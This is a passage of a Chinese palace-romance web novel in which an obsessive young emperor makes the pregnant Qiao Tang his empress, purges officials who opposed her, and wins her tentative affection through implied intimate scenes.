她不满地抿唇,裴承珏察觉了,轻轻地啄着她的唇角,安抚她,祈求她,让他多吻一会儿吧。 她又有些烦了,抬袖伸手,手指扫过裴承珏的肩膀,指腹沾了些粘湿。 她也未去瞧,拿指尖轻轻掐住裴承珏的睫毛,恶劣地一扯,一根睫毛染着血丝掉落在指腹。 唇瓣上亲吻倏地凶了些,她忘了生气,怔然地看着血丝,低垂视线扫过裴承珏肩膀。 原来裴承珏身上数道红痕开始渗出血珠了。 活该! 她暗斥一声,正欲推开裴承珏,裴承珏忽抱紧她,带着滚烫的情潮,急切地亲吻她面上泪迹。 她才开始抗拒,忽听裴承珏绷紧身体喘息一声,接着埋首在她的颈旁,发出餍足的沙哑声。 “谢谢姐姐。” 乔棠对他的情潮反应熟悉得很,不可置信地瞪大眸子。 裴承珏竟敢用亲她释放情热,无耻! 她一把推开裴承珏。 裴承珏赤着上身,红痕遍布下血珠滚滚而落,他不在意地舔了舔唇瓣上的泪渍,那是从乔棠面上吻来的。 腰间堆着的龙袍乱糟糟的,他随意捞起一只大袖,黑眸幽幽地瞥了眼乔棠腹部,迈步朝乔棠靠近。 乔棠还没觉出哪里不对,冷冷地抬起下巴,旋身走了一步。 裴承珏挑了挑眉,忍住笑意,“姐姐。” 乔棠不搭理他,他实在抑制不住了,倚着长案笑出了声。 乔棠心里一咯噔,他这笑很坏,浪荡、轻佻、不怀好意。 自去年冬,她就没听裴承珏这么笑过了。 裴承珏一定还对她做了什么其他的坏事,她气得转过身,裴承珏笑着过来,拿大袖擦向她的腹部。 她僵住了,低垂视线看见自己腹部衣物上的水液,面色唰得一下红了,贝齿紧紧咬着唇瓣,天杀的裴承珏,都弄到她身上了! “姐姐别咬自己了。” 裴承珏擦净液迹,心疼地搂住她,拿指腹摩挲着她的唇瓣,叫她松了紧咬的牙齿。 她松了后,唇瓣红得滴血,自己拽过大袖又擦一遍,不发一言,转身进去换衣去了。 裴承珏立在原地,怕她恼狠了,没敢跟过去。 待两人都换了衣,坐在一起用午膳时,乔棠当裴承珏不存在,一眼也未看来。 裴承珏已刀枪不入,这点无视算不得什么,他径自挨着乔棠,为乔棠布菜。 膳食都是裴承珏安排过的,均是乔棠喜欢且对孕期有益的食物。 且程英已为乔棠开了止吐方子,乔棠喝了药,孕吐减轻许多,吃得也多了。 裴承珏以手支着下颌,侧目望着专心用饭的乔棠,视线偶尔扫过她的腹部,前所未有的愉悦袭上心头,勾唇笑了一声。 乔棠终于瞥他一眼,见他下巴那红痕还在,隐隐渗出血迹,就知晓他没处理伤口,想必身上血迹更多。 都流了血,还能笑出来,乔棠觉着他痴得没救了,放下手中玉箸,漱了口起身。 “我想歇息了,陛下且去忙。”言罢也不管裴承珏了,喊了王嬷嬷一起离去了。 裴承珏靠上椅背,侧颈目送她的背影消失,方转头用饭,饭罢去寝殿,闻得里面传来乔棠与王嬷嬷的私语声,脚步一顿,立在殿门处等着。 等了许久,王嬷嬷总算出来了,躬身朝他行礼道,“陛下,姑娘已歇下了。” 裴承珏也不好进去打扰乔棠了,迈步转身,忽听王嬷嬷道,“不知陛下可有收到姑娘送的生辰礼物?” 裴承珏面色骤沉,回身睨来阴冷一眼。 王嬷嬷瞬时遍体生寒,心头打了个哆嗦,心道难怪姑娘说陛下变了许多,以此来看,确然如是。 转念一想,所幸对姑娘的情意没变,这便行了,她忍着惧意,稳住声音道,“去岁秋,姑娘亲手绣了一条腰带,说是给陛下的生辰礼物。” 裴承珏紧皱眉峰松动,一手抚了抚臂膀,沉默地旋身走了,心中沉沉地坠着一个问题。 既是为他绣的,姐姐当时为何不送? 门前立着的王嬷嬷慢慢变了面色,她原是想着推这两人一把,特地点了生辰礼物一事,但见裴承珏反应不对,不免担忧。 她可别好心办了坏事,遂又急身进了寝殿,坐在床边的矮凳上,候着乔棠醒来。 裴承珏去了勤政殿,心头思虑不出乔棠不送礼物的缘由,眉宇浮出焦躁。 立在阶上御案前,他随手翻了新呈上的折子,眸色一下阴鸷,连翻几本后,声含冷冰。 “叫魏清砚过来。” 他一甩衣袖,将那些折子掷到了阶下地上,没过多久,魏清砚进殿,还未行礼,闻得他下令,“魏卿好好看看。” 魏清砚肃正容,色低身跪在地上,将那些折子一一翻开,看罢后眸中闪过寒光。 原来是都察院那些御史被人当了刀用,不要命地连上折子,以乔棠出身低微、蛊惑君主为由,劝谏裴承珏不要立乔棠为后。 “魏卿,你去检校领几个人,回都察院去。” 裴承珏下阶,一脚踩上那些折子,好似踩上这些朝臣的头颅,重重碾过。 “待姐姐生了朕的孩子,魏卿就是孩子的舅舅,作为舅舅,为孩子出些力,也是应该的吧?” 他抬脚将这些折子踢向魏清砚怀中。 魏清砚听命,伸手将这些折子拢入袖中,谨慎道,“纠察百官乃是御史职责,臣定竭尽全力去做。” 裴承珏不置可否,当即下了圣旨,擢魏清砚出翰林回都察院,任左副都御史。 “此事今日结束,勿扰了姐姐的封后仪式。” 他挥袖让魏清砚退下了。 魏清砚出了殿门,步下台阶时神情恍惚,明日封后,五日后成亲,以后他和棠棠真是隔着一道遥不可及的天堑了。 唇角惨淡地垂下片刻,忽又绷紧,肃容覆上寒霜,竟有些感激裴承珏,给了他一个为棠棠和孩子出力的机会。 这厢殿内,裴承珏召了太医院院使,命他即刻擢选女医,做好乔棠孕期及生产一切准备。 院使应下,垂眸道,“还是陛下思虑周全,若惠贵妃知晓自己得陛下这般关心呵护,定会感动于陛下的情意。” 这话无疑在逢迎裴承珏。 以往裴承珏厌恶臣子谄媚讨好,今日才发现原来他还是喜欢听的。 他朗声一笑,“惠贵妃即将成为朕的妻子,朕疼护她也是理所应当。” 院使听了心叹,都道陛下耽于惠贵妃,他还当传言夸大,今日亲眼见了,只觉陛下对惠贵妃的喜爱程度远超传言。 乔棠睡了一觉,醒来精神足了,心情尚可,见王嬷嬷一脸忧心,也顰眉发愁了。 “嬷嬷怎么了?” 王嬷嬷叹口气,遂将腰带一事说了,她听罢默然一下,柔声安抚嬷嬷,“无碍,不必我送,他自己寻到了。” 王嬷嬷松了口气,迟疑道,“我听宫人都在说,姑娘明日要做皇后了,陛下可有和姑娘提?” 乔棠摇摇头,奇怪的是,她竟不觉着意外,以裴承珏现在情状,他做出什么事都不奇怪。 “姑娘,若不是当初我劝姑娘进京,姑娘也不会遇到这番为难境况。” 王嬷嬷自责懊悔得很,乔棠搂住她的手臂笑了笑,“又不怪嬷嬷,是陛下他……” 她想起去年种种,心绪五味陈杂,不言语了。 王嬷嬷睁着发红的眼,犹豫一下,还是道,“陛下是不是还没和姑娘提五日后和姑娘成亲一事?” 乔棠平静容色终于变了,唇瓣一抖,不可置信地看向王嬷嬷。 王嬷嬷颔首,“陛下要改祖制,执意要在及冠前娶姑娘为妻,听说太后娘娘拗不过陛下,也同意了的。” 乔棠心腔乱颤,被中手指紧紧蜷起,裴承珏何必做到这种程度?因为她怀了孩子才这般急迫么? 王嬷嬷叹息一声,“我想,这世间再没有比陛下更喜欢姑娘的人了。” 默然许久,殿里响起乔棠无措的低语。 “我知道。” 临近傍晚,已是朝臣下值,出皇城之时,却在此时,传来一道叫朝臣震惊的消息: 午时,魏清砚出翰林回都察院任职,不及傍晚,他竟连上数道弹劾同僚的折子,言辞激烈,不留一丝余地。 更叫朝臣悚然的是,魏清砚先前做御史,俨然还不到此种狠厉程度,此番回来真是将事做绝了。 凡是他弹劾之人,不过半个时辰,经刑部查证,那些臣子所犯罪行条条属实,要么被薛章抓了入狱,要么被贬出京外。 裴承珏的圣旨一道接着一道,整个皇城都陷入草木皆兵的恐慌中。 朝臣惶然不动,很快发现这些遭罪的臣子都是劝谏陛下不要立乔棠为后的人,一时都麻木地心想,其实陛下还是圣明的,这些同僚确然有罪,又不是因得罪了惠贵妃才落得这个下场! 但对魏清砚,他们就统一地深恶痛绝,暗骂他可真是陛下的好表哥! 只有镇国公夫妇知晓真相,心叹,可怜他们儿子可真是个好前夫。 镇国公先前还觉乔棠朝中无人,无所依仗,这下好了,他儿子做到这份上,以后镇国公府的门匾都得斜向乔棠。 魏清砚浑然不怕,一身轻松地出了勤政殿,步履生风地往宫外去。 裴承珏忙完此事,已是圆月高悬,他踏着月色回了太极宫,及至寝殿前,闻得乔棠已睡下了,他放轻脚步进去。 看见纱帐中隐约有光亮在动,心神一动,靠近床边,撩开纱帐一看。 乔棠正把玩着夜明珠,明眸望来一眼,扔了夜明珠,蜷回被子里了。 裴承珏笑笑,自去沐浴换衣,待回来后他翻出治疗鞭伤的药膏,上了床。 他褪去寝衣,露出上身血痕,从被中牵出乔棠的手,将手摁在他重新绑在臂膀的腰带上,低低地问,“去年秋,姐姐绣这条腰带时,是不是——” “喜欢朕?” 第57章 乔棠白日与他争了一回,早已心力耗尽。 眼下不欲置气,妥协地与他宿在一张床上,乍然一听这戏弄之语,又想占些嘴上便宜。 “陛下想多 了,是陛下当时一再向我要生辰礼物,我才不得已绣的。” 乔棠将手挣出他的束缚,侧身给了他一个后脑勺,冷淡得很。 帐中静下来。 裴承珏无声地摇头一笑,原本问时也没抱什么希望,说个调笑的话而已,却又惹着姐姐了。 “那就是朕强要过来的了。” 腰带是,姐姐也是,都是他强迫得来的,但那又如何,他很喜欢。 他就是喜欢乔棠,想爱乔棠,并且在学着爱各种模样的乔棠了。 此刻,面对冷漠的乔棠,他笑着将乔棠从被中抱出来,放在自己怀中。 乔棠本也是身形高挑的女子,但到了他的长臂宽肩下,显得玲珑娇小。 他轻而易举圈住乔棠,下巴枕在纤肩上,将药膏盒子塞到乔棠手中。 “姐姐帮朕上药。” 不着一物的高健精悍体形,已然成熟的男性气息,将乔棠困得死死的,试图撩拨她沉寂的心弦。 乔棠手指捏紧盒子,听着这声姐姐,浑身如过电流,心头顿生出一种不可言说的感觉,当即羞恼地想,谁要这么大体形的弟弟! “陛下日后莫喊我姐姐了。” 她扔了盒子,摆明了不想为裴承珏上药,脑袋枕向裴承珏温热胸膛。 裴承珏被这个动作取悦,纵着她,伸手捡起盒子,拧开自行上药,慢条斯理地问。 “棠棠,明日什么时候打朕?” 乔棠霎时头皮一麻,心口颤动,引起阵阵酥麻,极快地蹿流在五脏六腑。 她猛地抬头,脑袋磕上了裴承珏下巴,裴承珏疼得闷哼一声,她趁机挣开怀抱,钻入被中,恼道,“不能这么叫我!” 脑袋埋在枕头里,心里一阵哀怨,裴承珏的疯病什么时候才能好! 他、他喊棠棠,还不如喊姐姐! “好难服侍,姐姐不行,棠棠不行,那朕怎么喊?” 裴承珏抱怨着上了药,盘腿而坐,手肘枕在腿上,手拿摸着自己下巴,放任不管了。 一手撑着侧颊,另一手抻出手指,点了点乔棠的后脑勺,“说话。” 乔棠恨声道,“到了明日该喊皇后。” 裴承珏眉峰一动,薄唇勾出愉悦弧度,看来姐姐已经不抗拒当皇后了,且好好哄着罢。 “朕知道了。” 他躺入被中,从背后圈住乔棠,满足地和乔棠一起睡去了。 翌日,早朝过后,便是封后仪式,仪式隆重,礼节繁多,裴承珏寸步不离乔棠,便是需乔棠独自完成的,他也执意陪着乔棠一起做了。 他这般悖行祖制,越过礼法,朝臣不敢多言,默然垂首,行礼恭贺帝后。 裴承珏立在乔棠身侧,紧紧握着乔棠的手,看向乔棠的目光温柔坚定。 乔棠只回应一眼,纷乱心绪骤地安定,缓缓低下视线,目光掠向阶下百官, 魏清砚立在片片官衣中,眸色有片刻的恍惚。 乔棠早已释怀冀州的三年,往前走了。 他也该做得更好,将冀州的一切在人前掩得干干净净,在心底埋得更深,永不见天日。 受封结束,乔棠欲去慈宁宫见太后。 裴承珏眸光一闪,笑道,“母后日日礼佛,耳根清净,皇后还是莫叨扰母后了。” 乔棠一听,心里了然,既然太后还是不喜自己,自己也不必去了,省得惹了太后生气,遂同裴承珏回了太极宫。 这厢太后在慈宁宫等了一段时间,见皇后受封过后,迟迟不来拜见她,心底疑惑。 素兰姑姑进来,低声禀报,“仪式结束后,皇后娘娘同陛下回了太极宫。” 太后沉了面色,想来是乔棠怨她先前行为,一朝成了皇后,便不将她放在眼里了。 罢了,罢了,不来便不来罢,只要乔棠管住儿子莫再胡闹,她就心安了。 太后安慰自己。 殊不知这都是裴承珏从中作梗。 裴承珏巴不得这两人一辈子不见面,省得背着他琢磨出了什么出宫法子。 乔棠被瞒在鼓中,一回太极宫,就由宫人服侍着褪去皇后服饰,换回了更轻便的常服。 她刚要歇下,裴承珏走过来,手中把玩着软鞭,视线直勾勾地锁着她。 她顰了下眉,见裴承珏将软鞭递给她,心头狐疑。 挨打总归是疼的,他莫不是借着挨打的机会,想与自己亲昵? 思及昨日裴承珏那放荡行径,她阖眸冷言,“没力气,不打。” 裴承珏望着她秀美玉颊,屈膝跪在床边,手指牵住她那衣袖,“那不叫皇后受累,朕自己打自己?” 另一手要拿走她手中的软鞭,惊得乔棠睁开眸子,“陛下莫再做痴事。” 视线扫过裴承珏血痕未消的上身,她顺手将鞭子扔到一边,目光灼灼地要求裴承珏。 “陛下该去理政。” 裴承珏想亲近她的奢望落空,又不忍她失望自己不听话,探身抚平了她顰起的秀眉。 “好,朕去,别生气。” 却未有起身迹象,又跪了回去,双眸慢慢浮出点笑,“皇后。” 他话未尽,静静地等着,好似乔棠与他存有默契,知晓他要什么了。 比脑子更快一步的是身体下意识的反应。 只见乔棠低眉,抿了抿嫣红唇瓣,探身过去,将唇瓣印上了他的眉心。 轻轻的一吻。 瞬间叫乔棠震惊,脑子回过神来了,忙地要后撤,后颈被大掌轻轻地一托。 乔棠不再动弹。 好似一切都回到了去年春日。 那么多亲吻,诸多荒唐情事,已深深地烙在了两人身体里。 烙印苏醒过来时,爱欲勃发。 裴承珏一手固住乔棠后颈,另一手揽住她纤细腰肢,薄唇吻住嫣红唇瓣,尽情地索求。 乔棠被迫承受,以前被裴承珏占有的感觉从内心深处翻涌出来,浑身酥软,手指颤抖地蜷紧。 意识昏沉之际,她被裴承珏压在了床上。 耳边是裴承珏粗重的呼吸,胡乱的喊声,“姐姐,棠棠,姐姐……” 不让喊,倒是喊了一遍又一遍,直叫乔棠倏地清醒,昏沉眸光变得清明,攒出力气一把推开他,先下床去了。 裴承珏唇上一空,怀中也是一空,心腔里欲念委实难平,又怕伤了乔棠,不敢下床去追。 他用袖子遮住了一双发红眸子,仰面躺在寝床上,慢慢平息粗重呼吸。 乔棠也在平缓急促呼吸,只觉此刻太过危险,不能和他同处一室了,转身即走。 到了先前宿过的寝室里,后背倚上紧闭的门板,抚着胸口出神。 虽说男欢女爱,人之常情,但她向来于此处寡淡,适才竟被裴承珏带着滑向了情.玉深渊。 委实不该。 她镇定下来,觉着这种感觉太过糟糕,她如今对裴承珏仍无半分悸动,怎能贪恋裴承珏年轻的身体,再次被他蛊惑? 等等…… 贪恋裴承珏年轻身体这个认知,可真如晴天霹雳,劈得她嘴角一抽。 同时脑中止不住地闪过昨日裴承珏不着一物的上身,赭黄色的龙袍堆在胯间…… 她慢慢地呼了口气,忽思及一个问题,莫非是怀孕影响,叫她胡思乱想许多? 她当即出门到了正殿,命宫人召程英,程英就居于太极宫随侍她,极快地来了。 她低声询问程英,同为女人,她也少些顾忌,该问的都问了。 程英垂眸沉吟,“孕期反应因人而异,娘娘此状应极大可能是孕早期所致。” 乔棠又联想近期情绪易失控,一时苦恼自己孕期麻烦甚多,叫程英开方子治一治,程英去了。 裴承珏抱臂倚着殿门,起先听不清楚,后来听到乔棠说自己情绪不稳,眉宇间透出心疼。 他叫院使领着一众太医过来,同程英一起开方子,乔棠见他还不去理政,自然冷脸,他自不敢耽误,去勤政殿了。 过了一日,乔棠喝了程英的药,情绪好了许多,脑中的胡思乱想也少了许多,再看裴承珏已心淡如水。 她欣喜地想,果真是怀孕影响。 心情一好,她就带着王嬷嬷出了太极宫,去御苑赏花,途径漱玉阁,忽瞥见一道娇影,步子一顿。 那娇影从 花枝那边慢慢踱出来,竟是静仪郡主,面颊红红的,眼睛也红红的,乍然见了乔棠,惊得回身要走。 乔棠讶然,思付一下还是同王嬷嬷跟了过去,一下跟到了阁里。 乔棠让王嬷嬷守在外面,见静仪郡主在里面背身坐着,低低啜泣。 她步过去搂住静仪郡主,“这是怎么了?” 静仪郡主回身搂住她,哭了好一会儿,忽哽咽道,“惠姐姐,我不想嫁给魏清砚了。” “别急,慢慢说。” 乔棠替她擦干了泪,她低低说起来,声音里带着无尽的委屈。 其实也简单,不过是魏清砚心里没她,她次次碰钉子,自去年到今年,碰的钉子多了,心也伤了大半,再不愿受这苦了。 “不到一年,我就尝到了这种苦头。” 静仪郡主吃了教训,眸中再无痴恋了,“惠姐姐,我、我不喜欢他了,我不要嫁给他!” 乔棠笑了笑,“不想嫁便不嫁罢。” 柔软的语调像浸了蜜的棉絮,叫人听了心头发暖。 静仪郡主的心就这么定了下来,抿紧唇瓣,小心翼翼地瞥过来,“他那个性子,惠姐姐怎么能和他生活三年呀?” 乔棠默然,一时不知怎么说,静仪郡主以为触及了她的伤心事,忙地道,“惠姐姐不必回答,我就是脑子糊涂了。” 声音顿住,静仪郡主瞥着乔棠温婉侧颜,忽地难过起来。 魏清砚这辈子都不会再遇到像惠姐姐这样爱他三年的人了。 紧接着,不知怎地,又思及那日郊外裴承珏为留下乔棠的情状,和乔棠爱了魏清砚三年,也无什么区别。 她喃喃一声,“其实惠姐姐和陛下有些像呢。” 第58章 乔棠一瞬懂了这话里意思,心脏倏地发酸发胀,手指绞着袖角,张口欲言。 又不想叫静仪郡主知晓,抿紧唇瓣,在心里叹一声,她其实不愿裴承珏和她相像。 她是爱了魏清砚三年不假,吃尽了苦头,那种煎熬滋味也曾反复碾磨过她的心,叫她彻夜难眠。 然而一切都过去了,她再不会被那种煎熬滋味折磨,可裴承珏呢? 去年春时她哄骗裴承珏,冬时裴承珏报复她,她以为两人已清了,缘分也尽了。 奈何裴承珏痴缠至今。 执意封她为后,违犯祖制也要与她大婚,便是她要狠心打掉他们的孩子,裴承珏也不肯放下她,依然执拗地爱她。 裴承珏还没尝够不被爱的煎熬滋味么? 乔棠眸色恍惚,不愿细想下去,仓促起身,静仪郡主惊道,“惠姐姐怎么了?” “无碍,郡主莫哭了,本宫会劝陛下,让陛下收回郡主与魏清砚的赐婚。” “郡主安心等着。” 静仪郡主欢喜地起身,擦掉面上泪痕,感激地抱了抱她,“谢谢惠姐姐。” 她笑着抚了抚静仪郡主的肩,让静仪郡主在此歇息,自己出了漱玉阁,领着王嬷嬷慢慢走在道上。 道旁花枝繁茂,春花开得绚烂,她瞥了几眼,忽止步不行,扬颈去望春阳。 暖融融的日光刺得她阖目,也照得她心底残存的郁卒一点点融化了。 无论如何,她日后是出不了宫了,只能待在这里做裴承珏的皇后,做裴承珏的妻子。 便是再怨恨抗拒裴承珏,一味消耗自己身心,也无济于事了。 与其妥协麻木地过着日子,折磨自己也折磨裴承珏,不若再迈出一步。 倘若裴承珏真能应下她这次的请求,她就卸下心防,试着去接受裴承珏。 “去勤政殿。” 乔棠带着王嬷嬷一起往勤政殿去。 自去年冬,乔棠再没去过勤政殿了,今日主动前去,还未至阶下,李公公远远望见她,愕然叫道,“皇后娘娘来了!” 失态之声传到殿中。 殿中议政声骤停,几个朝臣闭紧嘴巴,屏气凝神,预备行礼退下。 满朝谁人不知,在陛下心里,天大的朝务都要给皇后让路,眼下皇后来了,他们也不能在此碍眼。 可一时并无让他们退下的命令下来,朝臣诧异地暗暗窥向裴承珏。 但见裴承珏坐在御椅上,手中朱砂笔还提在空中,滴下红点脏了龙袖,他也不知,紧皱着眉峰,一副怔然模样。 转瞬眸色泛冷,姐姐怎么可能主动来找他! 视线若刀刃,滚过殿门,碾到进殿的李公公身上,“乱叫什么!” “回陛下,确然是皇后娘娘求见。” 李公公膝盖一软,瘫跪下来,朝臣见事不妙,行礼告退,越过李公公走得飞快。 裴承珏一下起了身,手中朱砂笔落地,他下阶而去,疾步到殿门边,果见乔棠立在殿外。 春光正好,天幕撒下融融暖光,薄薄地笼在乔棠身上,她穿着皇后衣饰,高雅黄色衬出欺霜赛雪的白膩肌肤。 身侧王嬷嬷不知说了什么,惹得她嫣然一笑,侧颊莹润生辉。 落入裴承珏眸中,裴承珏不可抑制地心脏狂跳,回想起去年在街上初见乔棠,也是这般心动。 不同的是,现在乔棠肚子里有了他的孩子,即将成为他的妻子。 这么一想,心脏跳动越发快了。 拥有乔棠,占有乔棠,不会让他收敛对乔棠的爱意,只会让他放纵这股爱意疯长,嵌满他全身骨骼,渗透到每一条骨缝里,再用来缠住乔棠。 也许他生下来得到的一切,这高高在上的皇位,这生杀予夺的权力,都是为了禁锢乔棠,得到乔棠而做的准备罢了。 何况,今日是乔棠自投罗网。 他骤然侵略性的目光投到乔棠身上,乔棠忽有所感,将身子转向殿门,潋滟水眸中的笑意还未来得及收。 一张笑颜撞入裴承珏眸中。 倏地,笑颜消失了,乔棠瞪大眸子,看着裴承珏大步过来,长臂揽起她的腰肢,抱起她入殿去了。 她的侧颊贴着裴承珏胸膛,似能听到裴承珏剧烈的砰砰的心跳声。 还有裴承珏身上传来的滚烫似沸,澎湃如潮的爱意,不管不顾地侵入她的心底。 她迟疑着,犹豫着,直到步入暖阁,要推开裴承珏的手还是落了下来。 她不再挣扎了。 被轻轻地放到榻上时,她听到裴承珏不正常的喘息,以及沙哑声音,“姐姐为什么主动来找朕?” 不行么? 乔棠疑惑,她有事和裴承珏讲,才来的啊! 她无辜又茫然,裴承珏看一眼就明白了,双目泛红,幽深眸子闪过痛楚。 真不公平啊,姐姐一时兴起,想来就来,撩拨得他情难自制,却还要他苦苦忍着。 “臣妾见陛下,是想和陛下说……” 声音一顿,身子轻颤,她震惊地看着裴承珏的手掌探进她的衣衫,贴在她的腹部上。 她怀孕不过月余,腹部平滑,肌肤细腻,掌心贴上去,细细地摩挲着。 “姐姐接着说,朕摸摸孩子。” 另一手去解衣领,很快褪去常服,露出精悍上身,衣物掩在腰处。 乔棠不过看了一眼,心绪霎时乱了,脑中止不住闪过诸多画面,暗骂程英抓的什么药,药效时间也太短了! 她抿紧唇瓣,忽感腹部上的手掌动了,掌心缓慢上移,移到小衣处,掌心覆了上去,五指张开了,作势要拢。 她紧张得面颊发红,裴承珏低下身子,薄唇贴着她的耳朵,语调蛊惑人心,“怎么不说了?” 她咬了咬牙,入目皆是裴承珏的身体,索性阖眸道,“适才臣妾在漱玉阁见了静仪郡主,静仪郡主哭得厉害,说不愿嫁给魏清砚了。” 五指骤然 拢住,乔棠惊喘一声,开始挣扎,很快五指松了,手掌从她衣衫处退出去。 “原是这样。” 裴承珏撤开身子,坐在床边,双手撑在身侧,手背青筋绷着。 他低着头掩去容色,等着乔棠接下来的话。 乔棠起身也坐好,两人隔着一人距离,她慢慢道,“静仪郡主既不想嫁了,也不好勉强她,陛下收回她和魏清砚的赐婚,好么?” 她其实对静仪郡主与魏清砚的婚事有些心结,一直觉着这两人是受自己牵连,若是能为两人求个好结果,她的心结也就散了。 只要裴承珏应下这个…… 她转头去看裴承珏,袖中的手指伸出来,一点点挪向裴承珏。 裴承珏没有看见,他一直低着头,一时未有言语。 两人寂然坐着,慢慢地,乔棠的心凉了,手也冰了起来。 她咬紧唇瓣,收回了手指,眼中有了湿意,心底呢喃。 是不是魏清砚这根刺要扎在裴承珏心里一辈子? 大概自己今日就不该开口,她拿手指抹了下眼角,自嘲地笑了笑,从床上起身,迈步到门前。 一只脚已踏出去了,身后忽传来裴承珏沙哑的一声,“好。” 乔棠怀疑自己听错了,怔怔地回想几遍,万般确定裴承珏说了一个好,吃惊地回眸。 裴承珏坐在床边没动,只是抬手,以掌覆面,声音掺着无尽悔意。 “对不起,姐姐,先前是朕糊涂,因为魏清砚伤了姐姐。” 他的道歉让乔棠心底一暖,乔棠转过身,步步靠近他。 他其实有些狼狈,就像今日乔棠主动来,确然也是来找他的,却是为了这么一桩事。 叫他满腔的情动很狼狈。 他大抵没有发现乔棠的靠近,声音沉沉的,夹着掩盖不住的嫉妒。 分明之前说了不嫉妒,到头来,还是做不到,“朕也没他那么好命,姐姐做了他三年的妻子,爱了他三年。” 乔棠停在他身前,听着他这么话,突然笑了出来。 罢了,魏清砚这根钉子伤他这么深,他还牢牢扒着不放,就这么着吧。 试试吧,成功了就不用折磨彼此了,她告诉自己,遂俯下身子,轻轻地喊,“陛下。” 裴承珏霍地抬头,她微微勾唇,绽放出一个轻浅笑容,视线落在了裴承珏胸前的疤上。 “姐姐?” 乔棠的手放在了裴承珏肩膀上,脑袋凑过去,唇瓣轻轻地吻在了那疤上。 是很珍视的力度。 这就是她准备爱人的姿态。 裴承珏眸色震荡,一下抓紧了她的手,薄唇急切地张开,被乔棠主动地吻住了。 他近乎感受到了灵魂深处的颤动,那种被爱的感觉不需要语言传达,他就接收到了。 唇瓣碾磨。 第一次,裴承珏被迫受着,这种攻势的转变叫他无措,又欣喜若狂。 良久,双唇分开,乔棠撤开身子,后退一步,笑道,“我也要做陛下的妻子了。” “不是陛下强求来的。” 她愿意做裴承珏妻子,愿意尝试去爱裴承珏。 被她吻过的薄唇还在轻颤,裴承珏阖眼又睁开,万分确定这不是在做梦,猛地起身抱住了她,气势汹汹地吻上去。 直吻得两人气喘吁吁,乔棠受不住了,他才松开乔棠。 喘息声中,他将脑袋埋在乔棠颈旁,又忽地咬了一口他的手掌,咬到看到了血,才愿意相信这真不是梦。 第59章 虎口血珠滚滚,他混不在意,随意地垂手下去,血珠嘀嗒在地。 疼痛叫他头脑清晰,也让他将适才一切串联起来,他允了姐姐的请求,姐姐说愿意做他的妻子,姐姐的爱是有条件的。 但那又如何? 总归姐姐要爱他了。 皇位和权力是他与生俱来、唾手可得之物,只有姐姐的爱才是悬在天际、遥不可及的日月。 如今,他的指尖触到了这日月光辉。 便是不能揽日月入怀,也足以叫他尝到了前所未有的欢愉。 这欢愉宛若世间最烈的情药,叫他的满腔爱意勃发膨胀,叫他想要狠狠攥紧乔棠,进入乔棠,与乔棠融为一体。 再也不要分开。 乔棠浑然不觉,顰眉看着他流血的手掌,担忧地用手托起他那手掌,柔软嗓音轻扫过他的耳畔。 “陛下总伤害自己,难道不会疼么?” 她用指腹轻轻地拭掉血珠,掏出袖中手绢,简单地包扎了一下,语带责备,“日后不要这样了。” 说罢要转身去叫太医,腰肢忽被裴承珏的手掌固住。 她疑惑抬眸,视线撞入裴承珏发红的眸子,眸中痴态迷恋毫不掩饰,惊得她瞠目。 她都说要爱裴承珏了,都这般温柔地为裴承珏包扎伤口了,裴承珏怎还这副痴状! 显然她想错了。 她以为,裴承珏得不到她的爱才失控痴缠。 殊不知,裴承珏才得到一刻钟,那种洗筋伐髓的欢愉已上瘾了,他依然会发狂失态。 裴承珏控制不住地表达爱欲,抱着她的腰肢屈膝跪下来,脸颊贴着她的腹部,心脏跳得又快又急。 他可以无数次为乔棠心动。 “姐姐对朕太好了。” 乔棠浑身都在轻颤,她真是怕了裴承珏对她的迷恋,她在心底祈求裴承珏正常些吧,她愿意好好去爱裴承珏。 裴承珏听不到她的心里话,染血的薄唇吻了吻她的腹部,鲜红点缀在了黄衣上,像颗蓬勃跳动的心脏。 他欣赏地瞥了几眼,笑着扬颈去望乔棠,如同仰望遥不可及的日月。 他的眉眼鲜活生动,像极了去年春日时,那样的炽热赤诚,“姐姐还想要什么,朕都可以给姐姐。” 可乔棠知晓不一样了。 且不论其他人,便是她自己,也不能让裴承珏变回去年春日的模样了。 乔棠没有办法,只能选择爱他。 她俯下身子,亲吻裴承珏的眉心,裴承珏果然很欢喜,慢慢起身,用沾着残血的薄唇吻她。 她松了口气。 亲吻而已,多么正常啊,她可以承受。 她阖上眸子。 透过亲吻,她感受到了裴承珏澎湃的爱意,心间安定下来。 手指触摸到了裴承珏腹肌,紧绷有力,不禁睁眼去瞧。 裴承珏察觉到了,薄唇勾出笑容,邀功似地问。 “姐姐喜欢么?” 乔棠原有些不自然,忽又想,都要试着爱裴承珏了,那试着爱他的身体也算爱吧。 这么一想,心下豁然开朗。 从肩到腰,从前胸到后背。 视线扫过每一处肌肤,像是在检验自己的所有物。 可怜裴承珏呼吸一声重过一声。 乔棠以为自己过分了,正欲停住,听他道,“姐姐不要停。” 倒像奖励他了。 乔棠无言,视线寸寸往下滑,滑到腰腹。 乔棠收回视线。 裴承珏一把擒住乔棠手腕,笑道,“姐姐,这也是你的。” 乔棠挣扎不开,心道罢了,就被裴承珏牵着手腕,由着他去了。 良久之后。 乔棠收回手,面颊红透。 裴承珏抱她到榻上,她生恐裴承珏乱来,惊道,“太医说了,现在不行!” 裴承珏扯落纱帐,日光被挡,他的温柔语调充满诱哄,“太医先前教了朕一些东西,朕想用来服侍姐姐,姐姐要试试么?” 这让乔棠怎么回答? 她咬紧唇瓣,默然无声,裴承珏深谙不反驳就是同意的道理。 “朕会让姐姐舒服的。” 直到落日西沉,残霞满天,勤政殿侍奉的宫人都未见帝后两人出暖阁。 及至晚膳时间到了,宫人们候着,依然未见暖阁动静。 乔棠在昏沉中醒来,双眼泪痕还未干,虽被逼出了眼泪,但细细回味一下,心里确定一件事。 原来,裴承珏除了身体可以爱,其他地方也很值得注意一下。 裴承珏显然也知自己取悦到了乔棠,当夜决定再多学些敦伦之道,召太医进行详谈。 太医不敢推诿,十分尽力,什么画册用具统统都呈了上来,裴承珏一一学了。 太医屏气凝神,心里哀呼,陛下啊陛下,一味耽于皇后,沉溺宫闱,是做不成明君的啊! 倒是他狭隘了,裴承珏还不及二十,正是精力强健之时,研究了一夜敦伦之道,还能捎带把政务处理了。 翌日上朝,朝服威仪,步履生风,俊朗面容不见疲色,倒精神烁 烁,春风得意。 朝臣被他吓习惯了,很不适应他这副精神健康的状态,以为他又要发什么昏,惴惴不安地立着。 直到朝会安稳结束,朝臣步出奉天殿,纷纷下阶而去,方回过神惊叹,陛下这是好了啊! 